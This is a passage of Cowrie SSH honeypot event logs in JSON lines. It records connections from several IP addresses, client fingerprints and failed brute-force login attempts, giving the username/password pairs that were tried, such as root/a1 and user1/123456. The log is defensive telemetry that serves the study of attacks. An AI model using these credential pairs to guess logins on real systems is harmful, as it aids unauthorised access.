{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.069676Z","src_ip":"160.191.244.158","session":"15ac90636516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.299847Z","src_ip":"160.191.244.158","session":"15ac90636516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.509735Z","src_ip":"141.11.88.14","session":"4ab90cb28f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":57956,"dst_ip":"10.17.0.5","dst_port":22,"session":"107f72beee9f","protocol":"ssh","message":"New connection: 41.86.34.139:57956 (10.17.0.5:22) [session: 107f72beee9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.763853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.768774Z","src_ip":"41.86.34.139","session":"107f72beee9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:54.979357Z","src_ip":"41.86.34.139","session":"107f72beee9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"card","password":"card123","message":"login attempt [card/card123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:55.253934Z","src_ip":"160.191.244.158","session":"15ac90636516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1","message":"login attempt [root/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:55.844878Z","src_ip":"41.86.34.139","session":"107f72beee9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:56.486725Z","src_ip":"160.191.244.158","session":"15ac90636516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:57.057007Z","src_ip":"41.86.34.139","session":"107f72beee9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34906,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf8f1c8d35a","protocol":"ssh","message":"New connection: 141.11.88.14:34906 (10.17.0.5:22) [session: 2cf8f1c8d35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:59.614057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:59.673845Z","src_ip":"141.11.88.14","session":"2cf8f1c8d35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:51:59.821307Z","src_ip":"141.11.88.14","session":"2cf8f1c8d35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:00.474356Z","src_ip":"141.11.88.14","session":"2cf8f1c8d35a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:01.637192Z","src_ip":"141.11.88.14","session":"2cf8f1c8d35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34962,"dst_ip":"10.17.0.5","dst_port":22,"session":"f23c9fc5740a","protocol":"ssh","message":"New connection: 141.11.88.14:34962 (10.17.0.5:22) [session: f23c9fc5740a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:06.710294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:06.767736Z","src_ip":"141.11.88.14","session":"f23c9fc5740a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:06.870778Z","src_ip":"141.11.88.14","session":"f23c9fc5740a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:07.579513Z","src_ip":"141.11.88.14","session":"f23c9fc5740a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:08.924925Z","src_ip":"141.11.88.14","session":"f23c9fc5740a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29024,"dst_ip":"10.17.0.5","dst_port":22,"session":"eea9a5028e11","protocol":"ssh","message":"New connection: 141.11.88.14:29024 (10.17.0.5:22) [session: eea9a5028e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:14.445208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:14.602619Z","src_ip":"141.11.88.14","session":"eea9a5028e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:14.607667Z","src_ip":"141.11.88.14","session":"eea9a5028e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maud","password":"maud","message":"login attempt [maud/maud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:15.329424Z","src_ip":"141.11.88.14","session":"eea9a5028e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:16.471702Z","src_ip":"141.11.88.14","session":"eea9a5028e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29946,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b421d23af2","protocol":"ssh","message":"New connection: 141.11.88.14:29946 (10.17.0.5:22) [session: f6b421d23af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:21.494389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:21.597663Z","src_ip":"141.11.88.14","session":"f6b421d23af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:21.602974Z","src_ip":"141.11.88.14","session":"f6b421d23af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:22.340608Z","src_ip":"141.11.88.14","session":"f6b421d23af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:23.434720Z","src_ip":"141.11.88.14","session":"f6b421d23af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29976,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e365b4d4484","protocol":"ssh","message":"New connection: 141.11.88.14:29976 (10.17.0.5:22) [session: 6e365b4d4484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:26.676651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:27.438266Z","src_ip":"141.11.88.14","session":"6e365b4d4484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:27.442384Z","src_ip":"141.11.88.14","session":"6e365b4d4484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:29.235208Z","src_ip":"141.11.88.14","session":"6e365b4d4484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43782,"dst_ip":"159.203.135.109","dst_port":22,"session":"360318e830ef","protocol":"ssh","message":"New connection: 103.27.238.116:43782 (159.203.135.109:22) [session: 360318e830ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:29.318931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:29.323143Z","src_ip":"103.27.238.116","session":"360318e830ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:29.590343Z","src_ip":"103.27.238.116","session":"360318e830ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89200737307","message":"login attempt [root/89200737307] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:30.391391Z","src_ip":"103.27.238.116","session":"360318e830ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:30.479673Z","src_ip":"141.11.88.14","session":"6e365b4d4484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:31.661758Z","src_ip":"103.27.238.116","session":"360318e830ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":50890,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4cda43eabd4","protocol":"ssh","message":"New connection: 197.5.145.150:50890 (10.17.0.5:22) [session: c4cda43eabd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:32.318524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:32.323671Z","src_ip":"197.5.145.150","session":"c4cda43eabd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2